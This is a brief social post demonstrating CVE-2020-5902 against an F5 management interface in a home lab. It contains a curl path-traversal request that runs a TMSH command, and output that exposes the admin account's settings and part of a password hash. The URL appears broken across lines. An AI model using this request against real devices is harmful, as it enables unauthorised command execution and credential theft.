TMSH access in a matter of minutes 🤖 (CVE-2020-5902). Of course this does require access to the management interface.

```
-14u-G6: ~
$ curl --insecure 'https://f5-mgmt.home.lab/tmui/login.jsp/../tmui/
?command=list+auth+user+admin'

{"error":"","output":"auth user admin {\n  description \"Admin User\"\n  encrypted-password $6$xRE
3xm.\n  partition Common\n  partit
ion-access {\n    all-partitions {\n      role admin\n    }\n    shell bash\n  }\n}
$
```
